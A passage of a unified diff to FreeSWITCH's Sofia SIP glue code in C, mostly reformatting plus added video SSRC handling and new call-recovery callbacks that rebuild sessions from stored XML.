+ tech_pvt->max_missed_hold_packets = (tech_pvt->read_impl.samples_per_second * rtp_hold_timeout_sec) / tech_pvt->read_impl.samples_per_packet;
}
if (tech_pvt->te) {
@@ -2648,7 +2737,7 @@
sofia_glue_check_video_codecs(tech_pvt);
if (sofia_test_flag(tech_pvt, TFLAG_VIDEO) && tech_pvt->video_rm_encoding && tech_pvt->remote_sdp_video_port) {
-
+
/******************************************************************************************/
if (tech_pvt->video_rtp_session && sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
//const char *ip = switch_channel_get_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE);
@@ -2657,33 +2746,33 @@
switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt->video_rtp_session);
if (remote_host && remote_port && !strcmp(remote_host, tech_pvt->remote_sdp_video_ip) && remote_port == tech_pvt->remote_sdp_video_port) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Video params are unchanged for %s.\n", switch_channel_get_name(tech_pvt->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Video params are unchanged for %s.\n",
+ switch_channel_get_name(tech_pvt->channel));
goto video_up;
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Video params changed for %s from %s:%d to %s:%d\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Video params changed for %s from %s:%d to %s:%d\n",
switch_channel_get_name(tech_pvt->channel),
remote_host, remote_port, tech_pvt->remote_sdp_video_ip, tech_pvt->remote_sdp_video_port);
}
}
if (!switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MEDIA)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "VIDEO RTP [%s] %s port %d -> %s port %d codec: %u ms: %d\n",
- switch_channel_get_name(tech_pvt->channel),
- tech_pvt->local_sdp_audio_ip,
- tech_pvt->local_sdp_video_port,
- tech_pvt->remote_sdp_video_ip,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG,
+ "VIDEO RTP [%s] %s port %d -> %s port %d codec: %u ms: %d\n", switch_channel_get_name(tech_pvt->channel),
+ tech_pvt->local_sdp_audio_ip, tech_pvt->local_sdp_video_port, tech_pvt->remote_sdp_video_ip,
tech_pvt->remote_sdp_video_port, tech_pvt->video_agreed_pt, tech_pvt->read_impl.microseconds_per_packet / 1000);
}
switch_snprintf(tmp, sizeof(tmp), "%d", tech_pvt->local_sdp_video_port);
- switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
- switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE, tmp);
+ switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
+ switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE, tmp);
if (tech_pvt->video_rtp_session && sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
sofia_clear_flag_locked(tech_pvt, TFLAG_REINVITE);
-
- if (switch_rtp_set_remote_address(tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip, tech_pvt->remote_sdp_video_port, SWITCH_TRUE, &err) !=
- SWITCH_STATUS_SUCCESS) {
+
+ if (switch_rtp_set_remote_address
+ (tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip, tech_pvt->remote_sdp_video_port, SWITCH_TRUE,
+ &err) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "VIDEO RTP REPORTS ERROR: [%s]\n", err);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "VIDEO RTP CHANGING DEST TO: [%s:%d]\n",
@@ -2727,7 +2816,7 @@
}
/******************************************************************************************/
-
+
if (tech_pvt->video_rtp_session) {
goto video_up;
}
@@ -2739,8 +2828,7 @@
if (!sofia_test_pflag(tech_pvt->profile, PFLAG_DISABLE_RTP_AUTOADJ) && !switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE) &&
!((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
- flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_AUTOADJ |
- SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
+ flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_AUTOADJ | SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
} else {
flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
}
@@ -2770,7 +2858,16 @@
0, switch_rtp_ready(tech_pvt->video_rtp_session) ? "SUCCESS" : err);
if (switch_rtp_ready(tech_pvt->video_rtp_session)) {
+ const char *ssrc;
switch_channel_set_flag(tech_pvt->channel, CF_VIDEO);
+ if ((ssrc = switch_channel_get_variable(tech_pvt->channel, "rtp_use_video_ssrc"))) {
+ uint32_t ssrc_ul = (uint32_t) strtoul(ssrc, NULL, 10);
+ switch_rtp_set_ssrc(tech_pvt->video_rtp_session, ssrc_ul);
+ }
+
+ switch_channel_set_variable_printf(tech_pvt->channel, "sip_use_video_pt", "%d", tech_pvt->video_agreed_pt);
+ tech_pvt->video_ssrc = switch_rtp_get_ssrc(tech_pvt->rtp_session);
+ switch_channel_set_variable_printf(tech_pvt->channel, "rtp_use_video_ssrc", "%u", tech_pvt->ssrc);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "VIDEO RTP REPORTS ERROR: [%s]\n", switch_str_nil(err));
switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -2786,13 +2883,16 @@
goto end;
}
- video_up:
+ video_up:
sofia_set_flag(tech_pvt, TFLAG_IO);
status = SWITCH_STATUS_SUCCESS;
end:
+ sofia_glue_tech_track(tech_pvt->profile, tech_pvt->session);
+
+
switch_mutex_unlock(tech_pvt->sofia_mutex);
return status;
@@ -2801,7 +2901,7 @@
void sofia_glue_set_r_sdp_codec_string(switch_core_session_t *session, const char *codec_string, sdp_session_t *sdp)
{
- char buf[1024] = {0};
+ char buf[1024] = { 0 };
sdp_media_t *m;
sdp_attribute_t *attr;
int ptime = 0, dptime = 0;
@@ -2844,7 +2944,7 @@
for (m = sdp->sdp_media; m; m = m->m_next) {
ptime = dptime;
- if ( m->m_type == sdp_media_image && m->m_port) {
+ if (m->m_type == sdp_media_image && m->m_port) {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",t38");
} else if (m->m_type == sdp_media_audio && m->m_port) {
for (attr = m->m_attributes; attr; attr = attr->a_next) {
@@ -2872,7 +2972,7 @@
continue;
}
for (map = m->m_rtpmaps; map; map = map->rm_next) {
- if ( map->rm_pt > 127 || already_did[map->rm_pt]) {
+ if (map->rm_pt > 127 || already_did[map->rm_pt]) {
continue;
}
@@ -2888,7 +2988,8 @@
if (match) {
if (ptime > 0) {
- switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate, ptime);
+ switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate,
+ ptime);
} else {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh", imp->iananame, (unsigned int) map->rm_rate);
}
@@ -2913,7 +3014,7 @@
continue;
}
for (map = m->m_rtpmaps; map; map = map->rm_next) {
- if ( map->rm_pt > 127 || already_did[map->rm_pt]) {
+ if (map->rm_pt > 127 || already_did[map->rm_pt]) {
continue;
}
@@ -2929,7 +3030,8 @@
if (match) {
if (ptime > 0) {
- switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate, ptime);
+ switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh@%di", imp->iananame, (unsigned int) map->rm_rate,
+ ptime);
} else {
switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), ",%s@%uh", imp->iananame, (unsigned int) map->rm_rate);
}
@@ -2959,13 +3061,13 @@
}
if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
-
+
if (tech_pvt->num_codecs) {
if ((sdp = sdp_session(parser))) {
match = sofia_glue_negotiate_sdp(tech_pvt->session, sdp);
}
}
-
+
sdp_parser_free(parser);
}
@@ -2992,7 +3094,7 @@
if (!sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
const char *stream;
const char *msg = "hold";
-
+
if (sofia_test_pflag(tech_pvt->profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
const char *info = switch_channel_get_variable(tech_pvt->channel, "presence_call_info");
if (info) {
@@ -3020,7 +3122,7 @@
switch_channel_set_flag(tech_pvt->channel, CF_HOLD);
switch_ivr_hold_uuid(switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE), NULL, 0);
} else {
- switch_ivr_broadcast(switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE), stream,
+ switch_ivr_broadcast(switch_channel_get_variable(tech_pvt->channel, SWITCH_SIGNAL_BOND_VARIABLE), stream,
SMF_ECHO_ALEG | SMF_LOOP | SMF_PRIORITY);
switch_yield(250000);
}
@@ -3033,7 +3135,7 @@
}
sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
-
+
if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
const char *uuid;
switch_core_session_t *b_session;
@@ -3087,7 +3189,7 @@
greedy = !!sofia_test_pflag(tech_pvt->profile, PFLAG_GREEDY);
scrooge = !!sofia_test_pflag(tech_pvt->profile, PFLAG_SCROOGE);
-
+
if (!greedy || !scrooge) {
if ((val = switch_channel_get_variable(channel, "sip_codec_negotiation"))) {
if (!strcasecmp(val, "greedy")) {
@@ -3108,16 +3210,15 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Activate Buggy RFC2833 Mode!\n");
}
}
-
+
if (tech_pvt->profile->auto_rtp_bugs & RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833) {
if (strstr(tech_pvt->origin, "Sonus_UAC")) {
tech_pvt->rtp_bugs |= RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
"Hello,\nI see you have a Sonus!\n"
"FYI, Sonus cannot follow the RFC on the proper way to send DTMF.\n"
"Sadly, my creator had to spend several hours figuring this out so I thought you'd like to know that!\n"
- "Don't worry, DTMF will work but you may want to ask them to fix it......\n"
- );
+ "Don't worry, DTMF will work but you may want to ask them to fix it......\n");
}
}
}
@@ -3163,25 +3264,25 @@
if (got_udptl && m->m_type == sdp_media_image && m->m_port) {
switch_t38_options_t *t38_options = switch_core_session_alloc(tech_pvt->session, sizeof(switch_t38_options_t));
-
+
for (attr = m->m_attributes; attr; attr = attr->a_next) {
- if (!strcasecmp(attr->a_name, "T38MaxBitRate") && attr->a_value) {
+ if (!strcasecmp(attr->a_name, "T38MaxBitRate") && attr->a_value) {
t38_options->T38MaxBitRate = (uint32_t) atoi(attr->a_value);
- } else if (!strcasecmp(attr->a_name, "T38FaxFillBitRemoval")) {
+ } else if (!strcasecmp(attr->a_name, "T38FaxFillBitRemoval")) {
t38_options->T38FaxFillBitRemoval = SWITCH_TRUE;
- } else if (!strcasecmp(attr->a_name, "T38FaxTranscodingMMR")) {
+ } else if (!strcasecmp(attr->a_name, "T38FaxTranscodingMMR")) {
t38_options->T38FaxTranscodingMMR = SWITCH_TRUE;
- } else if (!strcasecmp(attr->a_name, "T38FaxTranscodingJBIG")) {
+ } else if (!strcasecmp(attr->a_name, "T38FaxTranscodingJBIG")) {
t38_options->T38FaxTranscodingJBIG = SWITCH_TRUE;
- } else if (!strcasecmp(attr->a_name, "T38FaxRateManagement") && attr->a_value) {
+ } else if (!strcasecmp(attr->a_name, "T38FaxRateManagement") && attr->a_value) {
t38_options->T38FaxRateManagement = switch_core_session_strdup(tech_pvt->session, attr->a_value);
- } else if (!strcasecmp(attr->a_name, "T38FaxMaxBuffer") && attr->a_value) {
+ } else if (!strcasecmp(attr->a_name, "T38FaxMaxBuffer") && attr->a_value) {
t38_options->T38FaxMaxBuffer = (uint32_t) atoi(attr->a_value);
- } else if (!strcasecmp(attr->a_name, "T38FaxMaxDatagram") && attr->a_value) {
+ } else if (!strcasecmp(attr->a_name, "T38FaxMaxDatagram") && attr->a_value) {
t38_options->T38FaxMaxDatagram = (uint32_t) atoi(attr->a_value);
- } else if (!strcasecmp(attr->a_name, "T38FaxUdpEC") && attr->a_value) {
+ } else if (!strcasecmp(attr->a_name, "T38FaxUdpEC") && attr->a_value) {
t38_options->T38FaxUdpEC = switch_core_session_strdup(tech_pvt->session, attr->a_value);
- } else if (!strcasecmp(attr->a_name, "T38VendorInfo") && attr->a_value) {
+ } else if (!strcasecmp(attr->a_name, "T38VendorInfo") && attr->a_value) {
t38_options->T38VendorInfo = switch_core_session_strdup(tech_pvt->session, attr->a_value);
}
}
@@ -3232,12 +3333,12 @@
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Crypto Setup Failed!.\n");
}
-
+
if (a && b && !strncasecmp(a, b, 23)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Change Remote key to [%s]\n", crypto);
tech_pvt->remote_crypto_key = switch_core_session_strdup(tech_pvt->session, crypto);
tech_pvt->crypto_tag = crypto_tag;
-
+
if (switch_rtp_ready(tech_pvt->rtp_session) && sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
sofia_glue_add_crypto(tech_pvt, tech_pvt->remote_crypto_key, SWITCH_RTP_CRYPTO_RECV);
switch_rtp_add_crypto_key(tech_pvt->rtp_session, SWITCH_RTP_CRYPTO_RECV, tech_pvt->crypto_tag,
@@ -3288,7 +3389,7 @@
greed:
x = 0;
- if (tech_pvt->rm_encoding) {// && !sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
+ if (tech_pvt->rm_encoding) { // && !sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
char *remote_host = tech_pvt->remote_sdp_audio_ip;
switch_port_t remote_port = tech_pvt->remote_sdp_audio_port;
int same = 0;
@@ -3297,7 +3398,7 @@
remote_host = switch_rtp_get_remote_host(tech_pvt->rtp_session);
remote_port = switch_rtp_get_remote_port(tech_pvt->rtp_session);
}
-
+
for (map = m->m_rtpmaps; map; map = map->rm_next) {
if ((zstr(map->rm_encoding) || (tech_pvt->profile->ndlb & PFLAG_NDLB_ALLOW_BAD_IANANAME)) && map->rm_pt < 96) {
match = (map->rm_pt == tech_pvt->pt) ? 1 : 0;
@@ -3305,8 +3406,7 @@
match = strcasecmp(switch_str_nil(map->rm_encoding), tech_pvt->iananame) ? 0 : 1;
}
- if (match && connection->c_address && remote_host &&
- !strcmp(connection->c_address, remote_host) && m->m_port == remote_port) {
+ if (match && connection->c_address && remote_host && !strcmp(connection->c_address, remote_host) && m->m_port == remote_port) {
same = 1;
} else {
same = 0;
@@ -3315,7 +3415,7 @@
}
if (same) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Our existing sdp is still good [%s %s:%d], let's keep it.\n",
tech_pvt->rm_encoding, tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port);
got_audio = 1;
@@ -3324,7 +3424,7 @@
got_audio = 0;
}
}
-
+
for (map = m->m_rtpmaps; map; map = map->rm_next) {
int32_t i;
uint32_t near_rate = 0;
@@ -3369,7 +3469,7 @@
first = 0;
last = tech_pvt->num_codecs;
}
-
+
if (maxptime && (!ptime || ptime > maxptime)) {
ptime = maxptime;
}
@@ -3396,12 +3496,11 @@
if (match) {
if (scrooge) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
- "Bah HUMBUG! Sticking with %s@%uh@%ui\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ "Bah HUMBUG! Sticking with %s@%uh@%ui\n",
imp->iananame, imp->samples_per_second, imp->microseconds_per_packet / 1000);
} else {
- if ((ptime && ptime * 1000 != imp->microseconds_per_packet) ||
- map->rm_rate != codec_rate) {
+ if ((ptime && ptime * 1000 != imp->microseconds_per_packet) || map->rm_rate != codec_rate) {
near_rate = map->rm_rate;
near_match = imp;
match = 0;
@@ -3420,18 +3519,18 @@
char *prefs[1];
char tmp[80];
int num;
-
+
switch_snprintf(tmp, sizeof(tmp), "%s@%uh@%ui", near_match->iananame, near_rate ? near_rate : near_match->samples_per_second, ptime);
-
+
prefs[0] = tmp;
num = switch_loadable_module_get_codecs_sorted(search, 1, prefs, 1);
-
+
if (num) {
mimp = search[0];
} else {
mimp = near_match;
}
-
+
if (!maxptime || mimp->microseconds_per_packet / 1000 <= maxptime) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Substituting codec %s@%ui@%uh\n",
mimp->iananame, mimp->microseconds_per_packet / 1000, mimp->samples_per_second);
@@ -3440,7 +3539,7 @@
mimp = NULL;
match = 0;
}
-
+
}
if (!match && greedy) {
@@ -3454,7 +3553,7 @@
tech_pvt->iananame = switch_core_session_strdup(session, (char *) mimp->iananame);
tech_pvt->pt = (switch_payload_t) map->rm_pt;
tech_pvt->rm_rate = map->rm_rate;
- if (!strcasecmp((char *) mimp->iananame, "ilbc") && zstr((char*)map->rm_fmtp)) {
+ if (!strcasecmp((char *) mimp->iananame, "ilbc") && zstr((char *) map->rm_fmtp)) {
/* default to 30 when no mode is defined for ilbc ONLY */
tech_pvt->codec_ms = 30;
} else {
@@ -3563,8 +3662,8 @@
}
}
}
-
- done:
+
+ done:
tech_pvt->cng_pt = cng_pt;
sofia_set_flag_locked(tech_pvt, TFLAG_SDP);
@@ -3645,9 +3744,9 @@
other_channel = switch_core_session_get_channel(other_session);
switch_channel_set_variable(other_channel, SWITCH_B_SDP_VARIABLE, sdp);
- if (!sofia_test_flag(tech_pvt, TFLAG_CHANGE_MEDIA) && (switch_channel_test_flag(other_channel, CF_OUTBOUND) &&
- switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND) &&
- switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE))) {
+ if (!sofia_test_flag(tech_pvt, TFLAG_CHANGE_MEDIA) && !sofia_test_flag(tech_pvt, TFLAG_RECOVERING) &&
+ (switch_channel_test_flag(other_channel, CF_OUTBOUND) &&
+ switch_channel_test_flag(tech_pvt->channel, CF_OUTBOUND) && switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE))) {
switch_ivr_nomedia(val, SMF_FORCE);
sofia_set_flag_locked(tech_pvt, TFLAG_CHANGE_MEDIA);
}
@@ -3748,12 +3847,12 @@
}
}
-void sofia_glue_restart_all_profiles(void)
+void sofia_glue_restart_all_profiles(void)
{
switch_hash_index_t *hi;
const void *var;
- void *val;
- sofia_profile_t *pptr;
+ void *val;
+ sofia_profile_t *pptr;
switch_xml_t xml_root;
const char *err;
@@ -3764,9 +3863,9 @@
switch_mutex_lock(mod_sofia_globals.hash_mutex);
if (mod_sofia_globals.profile_hash) {
- for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+ for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &var, NULL, &val);
- if ((pptr = (sofia_profile_t *) val)) {
+ if ((pptr = (sofia_profile_t *) val)) {
int rsec = 10;
int diff = (int) (switch_epoch_time_now(NULL) - pptr->started);
int remain = rsec - diff;
@@ -3775,7 +3874,7 @@
}
if (diff < rsec) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
"Profile %s must be up for at least %d seconds to stop/restart.\nPlease wait %d second%s\n",
pptr->name, rsec, remain, remain == 1 ? "" : "s");
continue;
@@ -3798,7 +3897,7 @@
const void *var;
void *val;
sofia_profile_t *pptr;
-
+
switch_mutex_lock(mod_sofia_globals.hash_mutex);
if (mod_sofia_globals.profile_hash) {
for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
@@ -3827,6 +3926,342 @@
switch_mutex_unlock(mod_sofia_globals.hash_mutex);
}
+
+static int rebridge_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+ char *uuid = argv[2];
+ switch_core_session_t *session;
+
+ if ((session = switch_core_session_locate(uuid))) {
+ switch_channel_t *channel = switch_core_session_get_channel(session);
+ private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+ if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+ switch_channel_wait_for_state_timeout(channel, CS_INIT, 10000);
+ switch_channel_set_state(channel, CS_RESET);
+ }
+ switch_core_session_rwunlock(session);
+ }
+
+ return 0;
+}
+
+struct recover_helper {
+ sofia_profile_t *profile;
+ int total;
+};
+
+
+static int recover_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+ struct recover_helper *h = (struct recover_helper *) pArg;
+ switch_xml_t xml;
+ switch_core_session_t *session;
+ switch_channel_t *channel;
+ private_object_t *tech_pvt = NULL;
+ const char *tmp;
+
+ xml = switch_xml_parse_str_dynamic(argv[3], SWITCH_TRUE);
+
+ if (!xml)
+ return 0;
+
+ if (!(session = switch_core_session_request_xml(sofia_endpoint_interface, NULL, xml))) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "skipping non-bridged entry\n");
+ return 0;
+ }
+
+ if (!(tech_pvt = (private_object_t *) switch_core_session_alloc(session, sizeof(private_object_t)))) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Hey where is my memory pool?\n");
+ switch_core_session_destroy(&session);
+ return 0;
+ }
+
+ channel = tech_pvt->channel = switch_core_session_get_channel(session);
+
+ switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+ switch_mutex_init(&tech_pvt->sofia_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+
+ tech_pvt->remote_ip = (char *) switch_channel_get_variable(channel, "sip_network_ip");
+ tech_pvt->remote_port = atoi(switch_str_nil(switch_channel_get_variable(channel, "sip_network_port")));
+ tech_pvt->caller_profile = switch_channel_get_caller_profile(channel);
+
+
+
+
+
+ if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
+ tech_pvt->dest = switch_core_session_sprintf(session, "sip:%s", switch_channel_get_variable(channel, "sip_req_uri"));
+ switch_channel_set_variable(channel, "sip_invite_full_via", switch_channel_get_variable(channel, "sip_full_via"));
+
+ switch_channel_set_variable(channel, "sip_handle_full_from", switch_channel_get_variable(channel, "sip_full_from"));
+ switch_channel_set_variable(channel, "sip_handle_full_to", switch_channel_get_variable(channel, "sip_full_to"));
+ } else {
+
+
+ switch_channel_set_variable_printf(channel, "sip_invite_route_uri", "<sip:%s@%s:%s;lr>",
+ switch_channel_get_variable(channel, "sip_from_user"),
+ switch_channel_get_variable(channel, "sip_network_ip"), switch_channel_get_variable(channel, "sip_network_port")
+ );
+
+ tech_pvt->dest = switch_core_session_sprintf(session, "sip:%s", switch_channel_get_variable(channel, "sip_from_uri"));
+
+ if (!switch_channel_get_variable_dup(channel, "sip_handle_full_from", SWITCH_FALSE)) {
+ switch_channel_set_variable(channel, "sip_handle_full_from", switch_channel_get_variable(channel, "sip_full_to"));
+ }
+
+ if (!switch_channel_get_variable_dup(channel, "sip_handle_full_to", SWITCH_FALSE)) {
+ switch_channel_set_variable(channel, "sip_handle_full_to", switch_channel_get_variable(channel, "sip_full_from"));
+ }
+ }
+
+ tech_pvt->dest_to = tech_pvt->dest;
+
+ sofia_glue_attach_private(session, h->profile, tech_pvt, NULL);
+ switch_channel_set_name(tech_pvt->channel, switch_channel_get_variable(channel, "channel_name"));
+
+
+ if ((tmp = switch_channel_get_variable(channel, "sip_local_sdp_str"))) {
+ tech_pvt->local_sdp_str = switch_core_session_strdup(session, tmp);
+ }
+
+ if ((tmp = switch_channel_get_variable(channel, "switch_r_sdp"))) {
+ tech_pvt->remote_sdp_str = switch_core_session_strdup(session, tmp);
+ }
+
+ switch_channel_set_variable(channel, "sip_invite_call_id", switch_channel_get_variable(channel, "sip_call_id"));
+
+ if (switch_true(switch_channel_get_variable(channel, "sip_nat_detected"))) {
+ switch_channel_set_variable_printf(channel, "sip_route_uri", "sip:%s@%s:%s",
+ switch_channel_get_variable(channel, "sip_req_user"),
+ switch_channel_get_variable(channel, "sip_network_ip"), switch_channel_get_variable(channel, "sip_network_port")
+ );
+ }
+
+ if (session) {
+ switch_caller_extension_t *extension = NULL;
+ const char *ip = switch_channel_get_variable(channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE);
+ const char *port = switch_channel_get_variable(channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE);
+ const char *r_ip = switch_channel_get_variable(channel, SWITCH_REMOTE_MEDIA_IP_VARIABLE);
+ const char *r_port = switch_channel_get_variable(channel, SWITCH_REMOTE_MEDIA_PORT_VARIABLE);
+
+ if (!switch_channel_test_flag(channel, CF_PROXY_MODE) && ip && port) {
+ const char *tmp;
+ tech_pvt->iananame = tech_pvt->rm_encoding = (char *) switch_channel_get_variable(channel, "sip_use_codec_name");
+ tech_pvt->rm_fmtp = (char *) switch_channel_get_variable(channel, "sip_use_codec_fmtp");
+
+ if ((tmp = switch_channel_get_variable(channel, "sip_use_codec_rate"))) {
+ tech_pvt->rm_rate = atoi(tmp);
+ }
+
+ if ((tmp = switch_channel_get_variable(channel, "sip_use_codec_ptime"))) {
+ tech_pvt->codec_ms = atoi(tmp);
+ }
+
+ if ((tmp = switch_channel_get_variable(channel, "sip_use_pt"))) {
+ tech_pvt->agreed_pt = atoi(tmp);
+ }
+
+ sofia_glue_tech_set_codec(tech_pvt, 1);
+
+ tech_pvt->adv_sdp_audio_ip = tech_pvt->extrtpip = (char *) ip;
+ tech_pvt->adv_sdp_audio_port = tech_pvt->local_sdp_audio_port = atoi(port);
+ tech_pvt->local_sdp_audio_ip = tech_pvt->profile->rtpip;
+
+ if (r_ip && r_port) {
+ tech_pvt->remote_sdp_audio_ip = (char *) r_ip;
+ tech_pvt->remote_sdp_audio_port = atoi(r_port);
+ }
+
+ if (switch_channel_test_flag(channel, CF_VIDEO)) {
+ if ((tmp = switch_channel_get_variable(channel, "sip_use_video_pt"))) {
+ tech_pvt->video_pt = tech_pvt->video_agreed_pt = atoi(tmp);
+ }
+
+
+ tech_pvt->video_rm_encoding = (char *) switch_channel_get_variable(channel, "sip_use_video_codec_name");
+ tech_pvt->video_rm_fmtp = (char *) switch_channel_get_variable(channel, "sip_use_video_codec_fmtp");
+
+ ip = switch_channel_get_variable(channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE);
+ port = switch_channel_get_variable(channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE);
+ r_ip = switch_channel_get_variable(channel, SWITCH_REMOTE_VIDEO_IP_VARIABLE);
+ r_port = switch_channel_get_variable(channel, SWITCH_REMOTE_VIDEO_PORT_VARIABLE);
+
+ sofia_set_flag(tech_pvt, TFLAG_VIDEO);
+
+ if ((tmp = switch_channel_get_variable(channel, "sip_use_video_codec_rate"))) {
+ tech_pvt->video_rm_rate = atoi(tmp);
+ }
+
+ if ((tmp = switch_channel_get_variable(channel, "sip_use_video_codec_ptime"))) {
+ tech_pvt->video_codec_ms = atoi(tmp);
+ }
+
+ tech_pvt->adv_sdp_video_port = tech_pvt->local_sdp_video_port = atoi(port);
+
+ if (r_ip && r_port) {
+ tech_pvt->remote_sdp_video_ip = (char *) r_ip;
+ tech_pvt->remote_sdp_video_port = atoi(r_port);
+ }
+
+ //sofia_glue_tech_set_video_codec(tech_pvt, 1);
+ }
+
+ sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 1);
+
+ sofia_glue_activate_rtp(tech_pvt, 0);
+ }
+
+ sofia_set_flag(tech_pvt, TFLAG_RECOVERING);
+
+ if (switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) {
+ sofia_set_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE);
+ } else {
+ switch_xml_t callflow, param, x_extension;
